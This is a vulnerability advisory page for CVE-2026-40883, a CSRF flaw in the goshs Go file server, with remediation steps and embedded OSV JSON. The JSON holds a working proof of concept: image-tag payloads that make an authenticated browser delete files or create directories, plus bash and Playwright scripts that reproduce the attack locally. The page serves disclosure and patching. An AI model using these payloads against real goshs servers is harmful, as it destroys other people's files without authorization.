CVE-2026-40883: Github.com/patrickhener/goshs/v2 Goshs Has CSRF Vulnerability
MODERATECVE-2026-40883 is a MODERATE (CVSS 8.1) goshs has csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Github.com/patrickhener/goshs/v2 libraries in the Go ecosystem. The issue involves goshs has csrf in state-changing get routes enables authenticated file deletion and directory creation. Remediation is available by upgrading affected packages to version 2.0.0-beta.6.
CVE-2026-40883 at a Glance
Security Impact
CVSS: 8.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H).
How to Fix CVE-2026-40883
To remediate this vulnerability, upgrade all affected Github.com/patrickhener/goshs/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/patrickhener/goshs/v2 to 2.0.0-beta.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/patrickhener/goshs/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-40883, inspect your project dependencies for Github.com/patrickhener/goshs/v2:
inspect dependencies for github.com/patrickhener/goshs/v2
Analyze the terminal output to locate any version of Github.com/patrickhener/goshs/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0-beta.6), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Github.com/patrickhener/goshs/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-40883 Affected Github.com/patrickhener/goshs/v2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/patrickhener/goshs/v2
|
Go |
≥ 2.0.0-beta.4
< 2.0.0-beta.6
|
2.0.0-beta.6
|
References
Frequently Asked Questions
What is CVE-2026-40883?
Which Github.com/patrickhener/goshs/v2 versions are affected?
What version fixes CVE-2026-40883?
Is github.com/patrickhener/goshs/v2 affected?
What is the CVSS score of CVE-2026-40883?
What CWE is associated with CVE-2026-40883?
How can I check Go dependencies for CVE-2026-40883?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-jrq5-hg6x-j6g3",
"modified" : "2026-04-27T16:46:57Z",
"published" : "2026-04-14T22:28:44Z",
"aliases" : [ "CVE-2026-40883" ],
"summary" : "goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation",
"details" : "### Summary\ngoshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as `?delete` and `?mkdir` because goshs relies on HTTP basic auth alone and performs no CSRF, `Origin`, or `Referer` validation for those routes. I reproduced this on `v2.0.0-beta.5`.\n\n### Details\nThe vulnerable request handling is reachable through normal GET requests:\n\n- `httpserver/handler.go:118-123` dispatches `?mkdir` directly to `handleMkdir()`\n- `httpserver/handler.go:180-186` dispatches `?delete` directly to `deleteFile()`\n\nAuthentication is enforced only by HTTP basic auth:\n\n- `httpserver/middleware.go:20-87` accepts any request that presents valid cached or replayed basic-auth credentials\n\nThe resulting state changes hit filesystem mutation sinks:\n\n- `httpserver/handler.go:683-718` calls `os.RemoveAll()` in `deleteFile()`\n- `httpserver/handler.go:961-1000` calls `os.MkdirAll()` in `handleMkdir()`\n\nBecause browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:\n\n- `<img src=\"http://127.0.0.1:18095/victim.txt?delete\">`\n- `<img src=\"http://127.0.0.1:18095/csrfmade?mkdir\">`\n\nIf the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.\n\n### PoC\nManual verification commands used:\n\n`Terminal 1`\n\n```bash\ncd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\ngo build -o /tmp/goshs_beta5 ./\n\nrm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nmkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site\nprintf 'delete me\\n' > /tmp/goshs_csrf_root/victim.txt\n\ncat > /tmp/goshs_csrf_site/delete.html <<'HTML'\n<!doctype html>\n<html>\n <body>\n <img src=\"http://127.0.0.1:18095/victim.txt?delete\">\n </body>\n</html>\nHTML\n\ncat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'\n<!doctype html>\n<html>\n <body>\n <img src=\"http://127.0.0.1:18095/csrfmade?mkdir\">\n </body>\n</html>\nHTML\n\n/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'\n```\n\n`Terminal 2`\n\n```bash\npython3 -m http.server 18889 --directory /tmp/goshs_csrf_site\n```\n\nVictim actions:\n\n1. Open `http://127.0.0.1:18095/` in a browser and authenticate with `u:p`.\n2. Visit `http://127.0.0.1:18889/delete.html`.\n3. Visit `http://127.0.0.1:18889/mkdir.html`.\n\nTwo terminal commands I ran during local validation:\n\n```bash\ntest -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED\ntest -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING\n```\n\nExpected result:\n\n- the first check prints `DELETED`\n- the second check prints `CREATED`\n\nPoC Video 1:\n\nhttps://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473\n\n\n\nSingle-script verification:\n\n```bash\n'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'\n```\n\nObserved script result:\n\n- `Delete status: DELETED`\n- `mkdir status: CREATED`\n- `[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET`\n\nPoC Video 2:\n\nhttps://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede\n\n\n\n`gosh_poc3` script content:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nREPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'\nPLAY_DIR='/tmp/codex-playwright'\nBIN='/tmp/goshs_beta5_csrf'\nPORT='18095'\nATTACKER_PORT='18889'\nCHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'\nWORKDIR=\"$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)\"\nROOT=\"$WORKDIR/root\"\nSITE=\"$WORKDIR/site\"\nGOSHS_PID=\"\"\nATTACKER_PID=\"\"\n\ncleanup() {\n if [[ -n \"${ATTACKER_PID:-}\" ]]; then\n kill \"${ATTACKER_PID}\" >/dev/null 2>&1 || true\n fi\n if [[ -n \"${GOSHS_PID:-}\" ]]; then\n kill \"${GOSHS_PID}\" >/dev/null 2>&1 || true\n fi\n}\ntrap cleanup EXIT\n\nmkdir -p \"$ROOT\" \"$SITE\"\nprintf 'delete me\\n' > \"$ROOT/victim.txt\"\n\ncat > \"$SITE/delete.html\" <<HTML\n<!doctype html>\n<html>\n <body>\n <img src=\"http://127.0.0.1:${PORT}/victim.txt?delete\">\n </body>\n</html>\nHTML\n\ncat > \"$SITE/mkdir.html\" <<HTML\n<!doctype html>\n<html>\n <body>\n <img src=\"http://127.0.0.1:${PORT}/csrfmade?mkdir\">\n </body>\n</html>\nHTML\n\necho \"[1/6] Building goshs beta.5\"\n(cd \"$REPO\" && go build -o \"$BIN\" ./)\n\necho \"[2/6] Starting goshs with HTTP basic auth\"\n\"$BIN\" -d \"$ROOT\" -p \"$PORT\" -b 'u:p' >\"$WORKDIR/goshs.log\" 2>&1 &\nGOSHS_PID=$!\n\nfor _ in $(seq 1 40); do\n if curl -s -u u:p \"http://127.0.0.1:${PORT}/\" >/dev/null 2>&1; then\n break\n fi\n sleep 0.25\ndone\n\necho \"[3/6] Serving attacker pages\"\npython3 -m http.server \"$ATTACKER_PORT\" --directory \"$SITE\" >\"$WORKDIR/attacker.log\" 2>&1 &\nATTACKER_PID=$!\n\nif [[ ! -d \"$PLAY_DIR/node_modules/playwright-core\" ]]; then\n mkdir -p \"$PLAY_DIR\"\n (cd \"$PLAY_DIR\" && npm install --no-save playwright-core >/dev/null)\nfi\n\nif [[ ! -x \"$CHROME\" ]]; then\n echo \"[ERROR] Chrome not found at $CHROME\" >&2\n exit 1\nfi\n\necho \"[4/6] Visiting attacker pages from an authenticated browser\"\nnode - <<'NODE'\nconst { chromium } = require('/tmp/codex-playwright/node_modules/playwright-core');\n\n(async () => {\n const browser = await chromium.launch({\n headless: true,\n executablePath: '/Applications/Google Chrome.app/Contents/MacOS/Google Chrome',\n });\n const context = await browser.newContext({\n httpCredentials: { username: 'u', password: 'p' },\n });\n const page = await context.newPage();\n await page.goto('http://127.0.0.1:18095/', { waitUntil: 'domcontentloaded' });\n await page.goto('http://127.0.0.1:18889/delete.html', { waitUntil: 'domcontentloaded' });\n await page.waitForTimeout(1200);\n await page.goto('http://127.0.0.1:18889/mkdir.html', { waitUntil: 'domcontentloaded' });\n await page.waitForTimeout(1200);\n await browser.close();\n})();\nNODE\n\necho \"[5/6] Verifying impact\"\nDELETE_STATUS=\"MISSING\"\nMKDIR_STATUS=\"MISSING\"\nif [[ ! -e \"$ROOT/victim.txt\" ]]; then\n DELETE_STATUS=\"DELETED\"\nfi\nif [[ -d \"$ROOT/csrfmade\" ]]; then\n MKDIR_STATUS=\"CREATED\"\nfi\n\necho \"[6/6] Results\"\necho \"Delete status: $DELETE_STATUS\"\necho \"mkdir status: $MKDIR_STATUS\"\n\nif [[ \"$DELETE_STATUS\" == \"DELETED\" && \"$MKDIR_STATUS\" == \"CREATED\" ]]; then\n echo '[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET'\nelse\n echo '[RESULT] NOT REPRODUCED'\n exit 1\nfi\n```\n\n### Impact\nThis issue lets an external attacker abuse an authenticated victim's browser to perform filesystem mutations on the goshs server. In the demonstrated case, the attacker deletes an existing file and creates a new directory without the victim intentionally performing either action. Any deployment that relies on HTTP basic auth for web access is exposed to cross-site state changes when a user visits attacker-controlled content while authenticated.\n\n### Remediation\nSuggested fixes:\n\n1. Move all state-changing functionality such as `delete` and `mkdir` off GET routes and require non-idempotent methods such as `POST` or `DELETE`.\n2. Add CSRF protections for authenticated browser actions, including per-request CSRF tokens plus strict `Origin` and `Referer` validation.\n3. Treat any rendered HTML content as untrusted and isolate it from issuing authenticated same-origin requests.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/patrickhener/goshs/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "2.0.0-beta.4"
}, {
"fixed" : "2.0.0-beta.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 2.0.0-beta.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patrickhener/goshs/security/advisories/GHSA-jrq5-hg6x-j6g3"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-40883"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patrickhener/goshs"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-352" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-14T22:28:44Z",
"nvd_published_at" : "2026-04-21T20:17:01Z"
}
}